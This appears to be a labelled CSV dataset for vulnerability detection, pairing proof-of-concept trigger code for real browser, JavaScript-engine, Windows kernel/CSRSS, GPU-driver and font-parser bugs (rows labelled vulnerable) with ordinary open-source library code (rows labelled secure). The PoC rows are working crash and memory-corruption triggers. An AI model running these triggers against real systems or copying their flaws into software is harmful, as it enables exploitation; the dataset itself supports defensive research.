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detectingvulnerablecode

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detectingvulnerablecode

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text,label
"function foo(bug) {
  function C(z) {
    Error.prepareStackTrace = function(t, B) {
      return B[z].getThis();
    };
    let p = Error().stack;
    Error.prepareStackTrace = null;
    return p;
  }
  function J() {}
  var optim = false;
  var opt = new Function(
      'a', 'b', 'c',
      'if(typeof a===\'number\'){if(a>2){for(var i=0;i<100;i++);return;}b.d(a,b,1);return}' +
          'g++;'.repeat(70));
  var e = null;
  J.prototype.d = new Function(
      'a', 'b', '""use strict"";b.a.call(arguments,b);return arguments[a];');
  J.prototype.a = new Function('a', 'a.b(0,a)');
  J.prototype.b = new Function(
      'a', 'b',
      'b.c();if(a){' +
          'g++;'.repeat(70) + '}');
  J.prototype.c = function() {
    if (optim) {
      var z = C(3);
      var p = C(3);
      z[0] = 0;
      e = {M: z, C: p};
    }
  };
  var a = new J();
  // jit optim
  if (bug) {
    for (var V = 0; 1E4 > V; V++) {
      opt(0 == V % 4 ? 1 : 4, a, 1);
    }
  }
  optim = true;
  opt(1, a, 1);
  return e;
}

e1 = foo(false);
console.log(e1.M === e1.C); // prints true.
e2 = foo(true);
console.log(e2.M === e2.C); // should be true as above but prints false.",0 (vulnerable)
"<html>
<head>
<script>

var canvas = document.createElement('canvas');

function createConnection() {
        var pc = new RTCPeerConnection({
                        iceServers: [],
                        iceTransportPolicy: 'relay'
        });
        
        var encodings = [];
        for (var i = 0; i < 2; i++) {
                encodings.push({ rid: String.fromCharCode(97 + i) });// rid must be alphabetic and unique
        }
        pc.addTransceiver(canvas.captureStream(0).getTracks()[0], { sendEncodings: encodings });
        return pc;
}


function sdp_munge(offer) {
        let sdp = offer.sdp;
        sdp = sdp.replace(/\r?\na=rid:(.+)\s+send\r?\na=simulcast:send\s+.+;\1/, '');
        offer.sdp = sdp;
        return offer;
}


async function trigger(pc) {
        var pc = createConnection(); // create an WebRTC connection with
        var offer = await pc.createOffer(); // create an offer
        var munged_offer = sdp_munge(offer); // remove one of the send_codecs_ from the offer
        await pc.setLocalDescription(munged_offer); // set the local description with the sdp
}


trigger();


</script>
</head>
</html>",0 (vulnerable)
"__int64 __fastcall CClfsBaseFilePersisted::RemoveContainer(CClfsBaseFilePersisted *this, unsigned int a2)
{
...
                v11 = CClfsBaseFilePersisted::FlushImage((PERESOURCE *)this);
                v9 = v11;
                v16 = v11;
                if ( v11 >= 0 )
                {
                pContainer = *((_QWORD *)containerContext + 3);
                if ( pContainer )
                {
                        *((_QWORD *)containerContext + 3) = 0i64;
                        ExReleaseResourceForThreadLite(*((PERESOURCE *)this + 4), (ERESOURCE_THREAD)KeGetCurrentThread());
                        v4 = 0;
                        (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 0x18i64))(pContainer); // remove method
                        (*(void (__fastcall **)(__int64))(*(_QWORD *)pContainer + 8i64))(pContainer); // release method
                        v9 = v16;
                        goto LABEL_20;
                }
                goto LABEL_19;
                }
...
} v44 = *((_DWORD *)containerContext + 5); // to trigger RemoveContainer one should set this field to -1
if ( v44 == -1 )
{
        *((_QWORD *)containerContext + 3) = 0i64; // pContainer is set to NULL
        v20 = CClfsBaseFilePersisted::RemoveContainer(this, v34);
        v72 = v20;
        if ( v20 < 0 )
                goto LABEL_134;
        v23 = v78;
        v34 = (unsigned int)(v34 + 1);
        v79 = v34;
} ...
// Obtain all container contexts represented in blf
// save pContainer class pointer for each valid container context
for ( i = 0; i < 0x400; ++i )
{
v20 = CClfsBaseFile::AcquireContainerContext(this, i, &v22);
v15 = (char *)this + 8 * i;
if ( v20 >= 0 )
{
        v16 = v22;
        *((_QWORD *)v15 + 56) = *((_QWORD *)v22 + 3); // for each valid container save pContainer
        *((_QWORD *)v16 + 3) = 0i64; // and set the initial pContainer to zero
        CClfsBaseFile::ReleaseContainerContext(this, &v22);
}
else
{
        *((_QWORD *)v15 + 56) = 0i64;
}
}
// Stage [1] enode block, prepare it for writing
ClfsEncodeBlock(
(struct _CLFS_LOG_BLOCK_HEADER *)v9,
*(unsigned __int16 *)(v9 + 4) << 9,
*(_BYTE *)(v9 + 2),
0x10u,
1u);
// write modified data
v10 = CClfsContainer::WriteSector(
                *((CClfsContainer **)this + 19),
                *((struct _KEVENT **)this + 20),
                0i64,
                *(void **)(*((_QWORD *)this + 6) + 24 * v8),
                *(unsigned __int16 *)(v9 + 4),
                &v23);
...
if ( v7 )
{
// Stage [2] Decode file again for futher processing in clfs.sys
ClfsDecodeBlock((struct _CLFS_LOG_BLOCK_HEADER *)v9, *(unsigned __int16 *)(v9 + 4), *(_BYTE *)(v9 + 2), 0x10u, &v21);
// optain new pContainer class pointer
v17 = (_QWORD *)((char *)this + 448);
do
{
        // Stage [3] for each valid container
        // update pContainer field
        if ( *v17 && (int)CClfsBaseFile::AcquireContainerContext(this, v6, &v22) >= 0 )
        {
        *((_QWORD *)v22 + 3) = *v17;
        CClfsBaseFile::ReleaseContainerContext(this, &v22);
        }
        ++v6;
        ++v17;
}
while ( v6 < 0x400 );
}
...",0 (vulnerable)
"static struct kbase_va_region *kbase_mem_from_user_buffer(
                struct kbase_context *kctx, unsigned long address,
                unsigned long size, u64 *va_pages, u64 *flags)
 {
[...]
+       int write;
[...]
+       write = reg->flags & (KBASE_REG_CPU_WR | KBASE_REG_GPU_WR);
+
 #if KERNEL_VERSION(4, 6, 0) > LINUX_VERSION_CODE
        faulted_pages = get_user_pages(current, current->mm, address, *va_pages,
 #if KERNEL_VERSION(4, 4, 168) <= LINUX_VERSION_CODE && \
 KERNEL_VERSION(4, 5, 0) > LINUX_VERSION_CODE
-                       reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
-                       pages, NULL);
+                       write ? FOLL_WRITE : 0, pages, NULL);
 #else
-                       reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+                       write, 0, pages, NULL);
 #endif
 #elif KERNEL_VERSION(4, 9, 0) > LINUX_VERSION_CODE
        faulted_pages = get_user_pages(address, *va_pages,
-                       reg->flags & KBASE_REG_CPU_WR, 0, pages, NULL);
+                       write, 0, pages, NULL);
 #else
        faulted_pages = get_user_pages(address, *va_pages,
-                       reg->flags & KBASE_REG_CPU_WR ? FOLL_WRITE : 0,
-                       pages, NULL);
+                       write ? FOLL_WRITE : 0, pages, NULL);
 #endif",0 (vulnerable)
"input = document.body.appendChild(document.createElement(""input""));

foo = document.body.appendChild(document.createElement(""a""));
foo.id = ""foo"";

// Go to state1 when history.back is called
// The URL needs to be <currentPage+hash> to trigger loadInSameDocument during the call to back()
// Since the foo's element id=""foo"", focus will change to that element
history.pushState(""state1"", """", location + ""#foo"");

// Current state = state2
history.pushState(""state2"", """");

setTimeout(() => {

        // Set the focus on the input element.
        // During the call to back() the focus will change to the foo element 
        // and therefore triggering the blur event on the input element
        input.focus(); 
        input.onblur = () => history.replaceState(""state3"", """");
        setTimeout(() => history.back(), 1000);
}, 1000);",0 (vulnerable)
"var initKey = {init : 1};
var level = 4;
var map1 = new WeakMap();

function hideWeakMap(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = new WeakMap();
    prevMap.set(prevKey, thisMap);
    let thisKey = {'h' : i};
    thisMap.set(prevKey, thisKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      let retMap = new WeakMap();
      map.set(thisKey, retMap);
      return thisKey;
    }
  }
}

function getHiddenKey(map, level, initKey) {
  let prevMap = map;
  let prevKey = initKey;
  for (let i = 0; i < level; i++) {
    let thisMap = prevMap.get(prevKey);
    let thisKey = thisMap.get(prevKey);
    prevMap = thisMap;
    prevKey = thisKey;
    if (i == level - 1) {
      return thisKey;
    }
  }
}

function setUpWeakMap(map) {
  let hk = hideWeakMap(map, level, initKey);
  let hiddenMap = map.get(hk);
  let map7 = new WeakMap();
  let map8 = new WeakMap();
  let k5 = {k5 : 1};
  let map5 = new WeakMap();
  let k7 = {k7 : 1};
  let k9 = {k9 : 1};
  let k8 = {k8 : 1};
  let v9 = {};
  map.set(k7, map7);
  map.set(k9, v9);
  hiddenMap.set(k5, map5);
  hiddenMap.set(hk, k5);
  map5.set(hk, k7);
  map7.set(k8, map8);
  map7.set(k7, k8);
  map8.set(k8,k9);
  
}

function main() {
    setUpWeakMap(map1);

    new ArrayBuffer(0x7fe00000);
    let hiddenKey = getHiddenKey(map1, level, initKey);
    let hiddenMap = map1.get(hiddenKey);
    let k7 = hiddenMap.get(hiddenMap.get(hiddenKey)).get(hiddenKey);
    let k8 = map1.get(k7).get(k7);
    let map8 = map1.get(k7).get(k8);

    console.log(map1.get(map8.get(k8)));
}

while (true) {
  try {
    main();
  } catch (err) {}
}",0 (vulnerable)
"function store(y) {
  x = y;
}

function load() {
  return x.b;
}

var x = {a : 1};
var x1 = {a : 2};
var x2 = {a : 3};
var x3 = {a : 4};

store(x1);
%PrepareFunctionForOptimization(store);
store(x2);

x1.b = 1;

%OptimizeFunctionOnNextCall(store);
store(x2);

x.b = 1;

%PrepareFunctionForOptimization(load);
load();

%OptimizeFunctionOnNextCall(load);
load();

store(x3);

%DebugPrint(load());",0 (vulnerable)
"global_object = {};

setPropertyViaEmbed = (object, value, handler) => {
  const embed = document.createElement('embed');
  embed.onload = handler;
  embed.type = 'text/html';
  Object.setPrototypeOf(global_object, embed);
  document.body.appendChild(embed);
  object.corrupted_prop = value;
  embed.remove();
}

createCorruptedPair = (value_1, value_2) => {
  const object_1 = {
    __proto__: global_object
  };
  object_1.regular_prop = 1;

  setPropertyViaEmbed(object_1, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_1.corrupted_prop = value_1;
  });

  const object_2 = {
    __proto__: global_object
  };
  object_2.regular_prop = 1;

  setPropertyViaEmbed(object_2, value_2, () => {
    Object.setPrototypeOf(global_object, null);
    object_2.corrupted_prop = value_1;
    object_1.regular_prop = 1.1
  });
  return [object_1, object_2];
}

const array = [1.1];
array.prop = 1;
const [object_1, object_2] = createCorruptedPair(array, 2261620.509803918);

jit = (object) => {
  return object.corrupted_prop[0];
}
for (var i = 0; i < 100000; ++i)
  jit(object_1);
jit(object_2);",0 (vulnerable)
"int SetBlendDesignPositions(void *arg) {
  int num_master;
  Fixed16_16 values[16][15];

  for (num_master = 0; ; num_master++) {
    if (GetToken() != TOKEN_OPEN) {
      break;
    }

    int values_read = GetOpenFixedArray(&values[num_master], 15);
    SetNumAxes(values_read);
  }

  SetNumMasters(num_master);

  for (int i = 0; i < num_master; i++) {
    procs->BlendDesignPositions(i, &values[i]);
  }


  return 0;
}",0 (vulnerable)
"#include <stdint.h>
#include <stdio.h>
#include <windows.h>
#include <string>

const char* MANIFEST_CONTENTS =
    ""<?xml version='1.0' encoding='UTF-8' standalone='yes'?>""
    ""<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>""
    ""<assemblyIdentity name='@' version='1.0.0.0' type='win32' ""
    ""processorArchitecture='amd64'/>""
    ""</assembly>"";

const WCHAR* NULL_BYTE_STR = L""\x00\x00"";
const WCHAR* MANIFEST_NAME =
  L""msil_system.data.sqlxml.resources_b77a5c561934e061_3.0.4100.17061_en-us_""
  L""d761caeca23d64a2.manifest"";
const WCHAR* PATH = L""\\\\.\\c:Windows\\"";
const WCHAR* MODULE = L""System.Data.SqlXml.Resources"";

typedef PVOID(__stdcall* f_CsrAllocateCaptureBuffer)(ULONG ArgumentCount,
                                                     ULONG BufferSize);
f_CsrAllocateCaptureBuffer CsrAllocateCaptureBuffer;

typedef NTSTATUS(__stdcall* f_CsrClientCallServer)(PVOID ApiMessage,
                                                   PVOID CaptureBuffer,
                                                   ULONG ApiNumber,
                                                   ULONG DataLength);
f_CsrClientCallServer CsrClientCallServer;

typedef NTSTATUS(__stdcall* f_CsrCaptureMessageString)(LPVOID CaptureBuffer,
                                                       PCSTR String,
                                                       ULONG Length,
                                                       ULONG MaximumLength,
                                                       PSTR OutputString);
f_CsrCaptureMessageString CsrCaptureMessageString;

NTSTATUS CaptureUnicodeString(LPVOID CaptureBuffer, PSTR OutputString,
                              PCWSTR String, ULONG Length = 0) {
  if (Length == 0) {
    Length = lstrlenW(String);
  }
  return CsrCaptureMessageString(CaptureBuffer, (PCSTR)String, Length * 2,
                                 Length * 2 + 2, OutputString);
}

int main() {
  HMODULE Ntdll = LoadLibrary(L""Ntdll.dll"");
  CsrAllocateCaptureBuffer = (f_CsrAllocateCaptureBuffer)GetProcAddress(
      Ntdll, ""CsrAllocateCaptureBuffer"");
  CsrClientCallServer =
      (f_CsrClientCallServer)GetProcAddress(Ntdll, ""CsrClientCallServer"");
  CsrCaptureMessageString = (f_CsrCaptureMessageString)GetProcAddress(
      Ntdll, ""CsrCaptureMessageString"");

  char Message[0x220];
  memset(Message, 0, 0x220);

  PVOID CaptureBuffer = CsrAllocateCaptureBuffer(4, 0x300);

  std::string Manifest = MANIFEST_CONTENTS;
  Manifest.replace(Manifest.find('@'), 1, 0x2000, 'A');

  // There's no public definition of the relevant CSR_API_MSG structure.
  // The offsets and values are taken directly from the exploit.
  *(uint32_t*)(Message + 0x40) = 0xc1;
  *(uint16_t*)(Message + 0x44) = 9;
  *(uint16_t*)(Message + 0x59) = 0x201;

  // CSRSS loads the manifest contents from the client process memory;
  // therefore, it doesn't have to be stored in the capture buffer.
  *(const char**)(Message + 0x80) = Manifest.c_str();
  *(uint64_t*)(Message + 0x88) = Manifest.size();
  *(uint64_t*)(Message + 0xf0) = 1;

  CaptureUnicodeString(CaptureBuffer, Message + 0x48, NULL_BYTE_STR, 2);
  CaptureUnicodeString(CaptureBuffer, Message + 0x60, MANIFEST_NAME);
  CaptureUnicodeString(CaptureBuffer, Message + 0xc8, PATH);
  CaptureUnicodeString(CaptureBuffer, Message + 0x120, MODULE);

  // Triggers the issue by setting ApplicationName.MaxLength to a large value.
  *(uint16_t*)(Message + 0x122) = 0x8000;

  CsrClientCallServer(Message, CaptureBuffer, 0x10017, 0xf0);
}",0 (vulnerable)
"#include ""gtest/internal/gtest-filepath.h""

#include <stdlib.h>

#include ""gtest/gtest-message.h""
#include ""gtest/internal/gtest-port.h""

#if GTEST_OS_WINDOWS_MOBILE
#include <windows.h>
#elif GTEST_OS_WINDOWS
#include <direct.h>
#include <io.h>
#else
#include <limits.h>

#include <climits>  // Some Linux distributions define PATH_MAX here.
#endif              // GTEST_OS_WINDOWS_MOBILE

#include ""gtest/internal/gtest-string.h""

#if GTEST_OS_WINDOWS
#define GTEST_PATH_MAX_ _MAX_PATH
#elif defined(PATH_MAX)
#define GTEST_PATH_MAX_ PATH_MAX
#elif defined(_XOPEN_PATH_MAX)
#define GTEST_PATH_MAX_ _XOPEN_PATH_MAX
#else
#define GTEST_PATH_MAX_ _POSIX_PATH_MAX
#endif  // GTEST_OS_WINDOWS

namespace testing {
namespace internal {

#if GTEST_OS_WINDOWS
// On Windows, '\\' is the standard path separator, but many tools and the
// Windows API also accept '/' as an alternate path separator. Unless otherwise
// noted, a file path can contain either kind of path separators, or a mixture
// of them.
const char kPathSeparator = '\\';
const char kAlternatePathSeparator = '/';
const char kAlternatePathSeparatorString[] = ""/"";
#if GTEST_OS_WINDOWS_MOBILE
// Windows CE doesn't have a current directory. You should not use
// the current directory in tests on Windows CE, but this at least
// provides a reasonable fallback.
const char kCurrentDirectoryString[] = ""\\"";
// Windows CE doesn't define INVALID_FILE_ATTRIBUTES
const DWORD kInvalidFileAttributes = 0xffffffff;
#else
const char kCurrentDirectoryString[] = "".\\"";
#endif  // GTEST_OS_WINDOWS_MOBILE
#else
const char kPathSeparator = '/';
const char kCurrentDirectoryString[] = ""./"";
#endif  // GTEST_OS_WINDOWS

// Returns whether the given character is a valid path separator.
static bool IsPathSeparator(char c) {
#if GTEST_HAS_ALT_PATH_SEP_
  return (c == kPathSeparator) || (c == kAlternatePathSeparator);
#else
  return c == kPathSeparator;
#endif
}

// Returns the current working directory, or """" if unsuccessful.
FilePath FilePath::GetCurrentDir() {
#if GTEST_OS_WINDOWS_MOBILE || GTEST_OS_WINDOWS_PHONE ||         \
    GTEST_OS_WINDOWS_RT || GTEST_OS_ESP8266 || GTEST_OS_ESP32 || \
    GTEST_OS_XTENSA || GTEST_OS_QURT
  // These platforms do not have a current directory, so we just return
  // something reasonable.
  return FilePath(kCurrentDirectoryString);
#elif GTEST_OS_WINDOWS
  char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
  return FilePath(_getcwd(cwd, sizeof(cwd)) == nullptr ? """" : cwd);
#else
  char cwd[GTEST_PATH_MAX_ + 1] = {'\0'};
  char* result = getcwd(cwd, sizeof(cwd));
#if GTEST_OS_NACL
  // getcwd will likely fail in NaCl due to the sandbox, so return something
  // reasonable. The user may have provided a shim implementation for getcwd,
  // however, so fallback only when failure is detected.
  return FilePath(result == nullptr ? kCurrentDirectoryString : cwd);
#endif  // GTEST_OS_NACL
  return FilePath(result == nullptr ? """" : cwd);
#endif  // GTEST_OS_WINDOWS_MOBILE
}",1 (secure)
"#pragma once

#include <Core/Types.h>
#include <Common/Exception.h>
#include <Common/intExp.h>
#include <base/arithmeticOverflow.h>

#include <limits>
#include <type_traits>


namespace DB
{

template <typename T>
class DataTypeNumber;

namespace ErrorCodes
{
    extern const int DECIMAL_OVERFLOW;
    extern const int ARGUMENT_OUT_OF_BOUND;
}

namespace DecimalUtils
{

inline constexpr size_t min_precision = 1;
template <typename T> inline constexpr size_t max_precision = 0;
template <> inline constexpr size_t max_precision<Decimal32> = 9;
template <> inline constexpr size_t max_precision<Decimal64> = 18;
template <> inline constexpr size_t max_precision<DateTime64> = 18;
template <> inline constexpr size_t max_precision<Decimal128> = 38;
template <> inline constexpr size_t max_precision<Decimal256> = 76;

template <typename T>
inline auto scaleMultiplier(UInt32 scale)
{
    if constexpr (std::is_same_v<T, Int32> || std::is_same_v<T, Decimal32>)
        return common::exp10_i32(scale);
    else if constexpr (std::is_same_v<T, Int64> || std::is_same_v<T, Decimal64> || std::is_same_v<T, DateTime64>)
        return common::exp10_i64(scale);
    else if constexpr (std::is_same_v<T, Int128> || std::is_same_v<T, Decimal128>)
        return common::exp10_i128(scale);
    else if constexpr (std::is_same_v<T, Int256> || std::is_same_v<T, Decimal256>)
        return common::exp10_i256(scale);
}


/** Components of DecimalX value:
 * whole - represents whole part of decimal, can be negative or positive.
 * fractional - for fractional part of decimal, always positive.
 */
template <typename DecimalType>
struct DecimalComponents
{
    using T = typename DecimalType::NativeType;
    T whole;
    T fractional;
};

/// Traits used for determining final Type/Precision/Scale for certain math operations on decimals.
template <typename T>
struct DataTypeDecimalTrait
{
    using FieldType = T;
    const UInt32 precision;
    const UInt32 scale;

    DataTypeDecimalTrait(UInt32 precision_, UInt32 scale_)
        : precision(precision_),
          scale(scale_)
    {}

    /// @returns multiplier for U to become T with correct scale
    template <typename U>
    T scaleFactorFor(const DataTypeDecimalTrait<U> & x, bool) const
    {
        if (scale < x.scale)
            throw Exception(""Decimal result's scale is less than argument's one"", ErrorCodes::ARGUMENT_OUT_OF_BOUND);
        const UInt32 scale_delta = scale - x.scale; /// scale_delta >= 0
        return DecimalUtils::scaleMultiplier<typename T::NativeType>(scale_delta);
    }
};
",1 (secure)
"#include <SFML/System/Err.hpp>
#include <SFML/Window/SensorManager.hpp>

#include <ostream>


namespace sf
{
namespace priv
{
////////////////////////////////////////////////////////////
SensorManager& SensorManager::getInstance()
{
    static SensorManager instance;
    return instance;
}


////////////////////////////////////////////////////////////
bool SensorManager::isAvailable(Sensor::Type sensor)
{
    return m_sensors[sensor].available;
}


////////////////////////////////////////////////////////////
void SensorManager::setEnabled(Sensor::Type sensor, bool enabled)
{
    if (m_sensors[sensor].available)
    {
        m_sensors[sensor].enabled = enabled;
        m_sensors[sensor].sensor.setEnabled(enabled);
    }
    else
    {
        err() << ""Warning: trying to enable a sensor that is not available (call Sensor::isAvailable to check it)""
              << std::endl;
    }
}


////////////////////////////////////////////////////////////
bool SensorManager::isEnabled(Sensor::Type sensor) const
{
    return m_sensors[sensor].enabled;
}


////////////////////////////////////////////////////////////
Vector3f SensorManager::getValue(Sensor::Type sensor) const
{
    return m_sensors[sensor].value;
}


////////////////////////////////////////////////////////////
void SensorManager::update()
{
    for (Item& item : m_sensors)
    {
        // Only process available sensors
        if (item.available)
            item.value = item.sensor.update();
    }
}


////////////////////////////////////////////////////////////
SensorManager::SensorManager()
{
    // Global sensor initialization
    SensorImpl::initialize();

    // Per sensor initialization
    for (int i = 0; i < Sensor::Count; ++i)
    {
        // Check which sensors are available
        m_sensors[i].available = SensorImpl::isAvailable(static_cast<Sensor::Type>(i));

        // Open the available sensors
        if (m_sensors[i].available)
        {
            if (m_sensors[i].sensor.open(static_cast<Sensor::Type>(i)))
            {
                m_sensors[i].sensor.setEnabled(false);
            }
            else
            {
                m_sensors[i].available = false;
                err() << ""Warning: sensor "" << i << "" failed to open, will not be available"" << std::endl;
            }
        }
    }
}

////////////////////////////////////////////////////////////
SensorManager::~SensorManager()
{
    // Per sensor cleanup
    for (Item& item : m_sensors)
    {
        if (item.available)
            item.sensor.close();
    }

    // Global sensor cleanup
    SensorImpl::cleanup();",1 (secure)
"#pragma once

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#ifdef _WIN32
#include <winsock.h>
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
#endif
#include <vector>
#include <iostream>
#include <fstream>
#include <time.h>

#define STD_PORT       9777

#define MS_ABSOLUTE    0x01
//#define MS_RELATIVE    0x02

#define BTN_USE_NAME   0x01
#define BTN_DOWN       0x02
#define BTN_UP         0x04
#define BTN_USE_AMOUNT 0x08
#define BTN_QUEUE      0x10
#define BTN_NO_REPEAT  0x20
#define BTN_VKEY       0x40
#define BTN_AXIS       0x80

#define PT_HELO         0x01
#define PT_BYE          0x02
#define PT_BUTTON       0x03
#define PT_MOUSE        0x04
#define PT_PING         0x05
#define PT_BROADCAST    0x06
#define PT_NOTIFICATION 0x07
#define PT_BLOB         0x08
#define PT_LOG          0x09
#define PT_ACTION       0x0A
#define PT_DEBUG        0xFF

#define ICON_NONE       0x00
#define ICON_JPEG       0x01
#define ICON_PNG        0x02
#define ICON_GIF        0x03

#define MAX_PACKET_SIZE  1024
#define HEADER_SIZE      32
#define MAX_PAYLOAD_SIZE (MAX_PACKET_SIZE - HEADER_SIZE)

#define MAJOR_VERSION 2
#define MINOR_VERSION 0

#define LOGDEBUG   0
#define LOGINFO    1
#define LOGNOTICE  2
#define LOGWARNING 3
#define LOGERROR   4
#define LOGSEVERE  5
#define LOGFATAL   6
#define LOGNONE    7

#define ACTION_EXECBUILTIN 0x01
#define ACTION_BUTTON      0x02

class CAddress
{
private:
  struct sockaddr_in m_Addr;
public:
  CAddress(int Port = STD_PORT)
  {
    m_Addr.sin_family = AF_INET;
    m_Addr.sin_port = htons(Port);
    m_Addr.sin_addr.s_addr = INADDR_ANY;
    memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
  }

  CAddress(const char *Address, int Port = STD_PORT)
  {
    m_Addr.sin_port = htons(Port);

    struct hostent *h;
    if (Address == NULL || (h=gethostbyname(Address)) == NULL)
    {
        if (Address != NULL)
			printf(""Error: Get host by name\n"");

        m_Addr.sin_addr.s_addr  = INADDR_ANY;
        m_Addr.sin_family       = AF_INET;
    }
    else
    {
      m_Addr.sin_family = h->h_addrtype;
      m_Addr.sin_addr = *((struct in_addr *)h->h_addr);
    }
    memset(m_Addr.sin_zero, '\0', sizeof m_Addr.sin_zero);
  }

  void SetPort(int port)
  {
    m_Addr.sin_port = htons(port);
  }

  const sockaddr *GetAddress()
  {
    return ((struct sockaddr *)&m_Addr);
  }

  bool Bind(int Sockfd)
  {
    return (bind(Sockfd, (struct sockaddr *)&m_Addr, sizeof m_Addr) == 0);
  }
};

class XBMCClientUtils
{
public:
  XBMCClientUtils() = default;
  ~XBMCClientUtils() = default;
  static unsigned int GetUniqueIdentifier()
  {
    static time_t id = time(NULL);
    return id;
  }

  static void Clean()
  {
  #ifdef _WIN32
    WSACleanup();
  #endif
  }

  static bool Initialize()
  {
  #ifdef _WIN32
    WSADATA wsaData;
    if (WSAStartup(MAKEWORD(1, 1), &wsaData))
      return false;
  #endif
    return true;
  }
};

class CPacket",1 (secure)
"#ifndef BOOST_BEAST_WEBSOCKET_OPTION_HPP
#define BOOST_BEAST_WEBSOCKET_OPTION_HPP

#include <boost/beast/core/detail/config.hpp>

namespace boost {
namespace beast {
namespace websocket {

/** permessage-deflate extension options.
    These settings control the permessage-deflate extension,
    which allows messages to be compressed.
    @note Objects of this type are used with
          @ref beast::websocket::stream::set_option.
*/
struct permessage_deflate
{
    /// `true` to offer the extension in the server role
    bool server_enable = false;

    /// `true` to offer the extension in the client role
    bool client_enable = false;

    /** Maximum server window bits to offer
        @note Due to a bug in ZLib, this value must be greater than 8.
    */
    int server_max_window_bits = 15;

    /** Maximum client window bits to offer
        @note Due to a bug in ZLib, this value must be greater than 8.
    */
    int client_max_window_bits = 15;

    /// `true` if server_no_context_takeover desired
    bool server_no_context_takeover = false;

    /// `true` if client_no_context_takeover desired
    bool client_no_context_takeover = false;

    /// Deflate compression level 0..9
    int compLevel = 8;

    /// Deflate memory level, 1..9
    int memLevel = 4;

    /// The minimum size a message should have to be compressed
    std::size_t msg_size_threshold = 0;
};

} // websocket
} // beast
} // boost

#endif",1 (secure)
"#include <cstdlib>
#include <iostream>
#include <sstream>

using namespace std;

void build_code(int max_args)
{
    stringstream ss;
    ss << ""#define NLOHMANN_JSON_EXPAND( x ) x"" << endl;
    ss << ""#define NLOHMANN_JSON_GET_MACRO("";
    for (int i = 0 ; i < max_args ; i++)
        ss << ""_"" << i + 1 << "", "";
    ss << ""NAME,...) NAME"" << endl;
    
    ss << ""#define NLOHMANN_JSON_PASTE(...) NLOHMANN_JSON_EXPAND(NLOHMANN_JSON_GET_MACRO(__VA_ARGS__, \\"" << endl;
    for (int i = max_args ; i > 1 ; i--)
        ss << ""NLOHMANN_JSON_PASTE"" << i << "", \\"" << endl;
    ss << ""NLOHMANN_JSON_PASTE1)(__VA_ARGS__))"" << endl;
    
    ss << ""#define NLOHMANN_JSON_PASTE2(func, v1) func(v1)"" << endl;
    for (int i = 3 ; i <= max_args ; i++)
    {
        ss << ""#define NLOHMANN_JSON_PASTE"" << i << ""(func, ""; 
        for (int j = 1 ; j < i -1 ; j++)
            ss << ""v"" << j << "", ""; 
        ss << ""v"" << i-1 << "") NLOHMANN_JSON_PASTE2(func, v1) NLOHMANN_JSON_PASTE"" << i-1 << ""(func, "";
        for (int j = 2 ; j < i-1 ; j++)
            ss << ""v"" << j << "", "";
        ss << ""v"" << i-1 << "")"" << endl;
    }
    
    cout << ss.str() << endl;
}

int main(int argc, char** argv) 
{
    int max_args = 64;
    build_code(max_args);
       
    return 0;
}",1 (secure)
"#ifndef RAPIDJSON_FILEWRITESTREAM_H_
#define RAPIDJSON_FILEWRITESTREAM_H_

#include ""stream.h""
#include <cstdio>

#ifdef __clang__
RAPIDJSON_DIAG_PUSH
RAPIDJSON_DIAG_OFF(unreachable-code)
#endif

RAPIDJSON_NAMESPACE_BEGIN

//! Wrapper of C file stream for output using fwrite().
/*!
    \note implements Stream concept
*/
class FileWriteStream {
public:
    typedef char Ch;    //!< Character type. Only support char.

    FileWriteStream(std::FILE* fp, char* buffer, size_t bufferSize) : fp_(fp), buffer_(buffer), bufferEnd_(buffer + bufferSize), current_(buffer_) { 
        RAPIDJSON_ASSERT(fp_ != 0);
    }

    void Put(char c) { 
        if (current_ >= bufferEnd_)
            Flush();

        *current_++ = c;
    }

    void PutN(char c, size_t n) {
        size_t avail = static_cast<size_t>(bufferEnd_ - current_);
        while (n > avail) {
            std::memset(current_, c, avail);
            current_ += avail;
            Flush();
            n -= avail;
            avail = static_cast<size_t>(bufferEnd_ - current_);
        }

        if (n > 0) {
            std::memset(current_, c, n);
            current_ += n;
        }
    }

    void Flush() {
        if (current_ != buffer_) {
            size_t result = std::fwrite(buffer_, 1, static_cast<size_t>(current_ - buffer_), fp_);
            if (result < static_cast<size_t>(current_ - buffer_)) {
                // failure deliberately ignored at this time
                // added to avoid warn_unused_result build errors
            }
            current_ = buffer_;
        }
    }

    // Not implemented
    char Peek() const { RAPIDJSON_ASSERT(false); return 0; }
    char Take() { RAPIDJSON_ASSERT(false); return 0; }
    size_t Tell() const { RAPIDJSON_ASSERT(false); return 0; }
    char* PutBegin() { RAPIDJSON_ASSERT(false); return 0; }
    size_t PutEnd(char*) { RAPIDJSON_ASSERT(false); return 0; }

private:
    // Prohibit copy constructor & assignment operator.
    FileWriteStream(const FileWriteStream&);
    FileWriteStream& operator=(const FileWriteStream&);

    std::FILE* fp_;
    char *buffer_;
    char *bufferEnd_;
    char *current_;
};

//! Implement specialized version of PutN() with memset() for better performance.
template<>
inline void PutN(FileWriteStream& stream, char c, size_t n) {
    stream.PutN(c, n);
}

RAPIDJSON_NAMESPACE_END

#ifdef __clang__
RAPIDJSON_DIAG_POP
#endif

#endif // RAPIDJSON_FILESTREAM_H_",1 (secure)
"

#include <os>
#include <kernel.hpp>
#include <kprint>
#include <boot/multiboot.h>
#include <kernel/memory.hpp>

//#define DEBUG_MULTIBOOT
#ifdef DEBUG_MULTIBOOT
#undef debug
#define debug(X,...)  kprintf(X,##__VA_ARGS__);
#define MYINFO(X,...) kprintf(""<Multiboot>"" X ""\n"", ##__VA_ARGS__)
#undef INFO2
#define INFO2(X,...) kprintf(""\t"" X ""\n"", ##__VA_ARGS__)
#else
#define debug(X,...)
#define MYINFO(X,...) INFO(""Kernel"", X, ##__VA_ARGS__)
#endif

using namespace util::bitops;
using namespace util::literals;
extern uintptr_t _end;
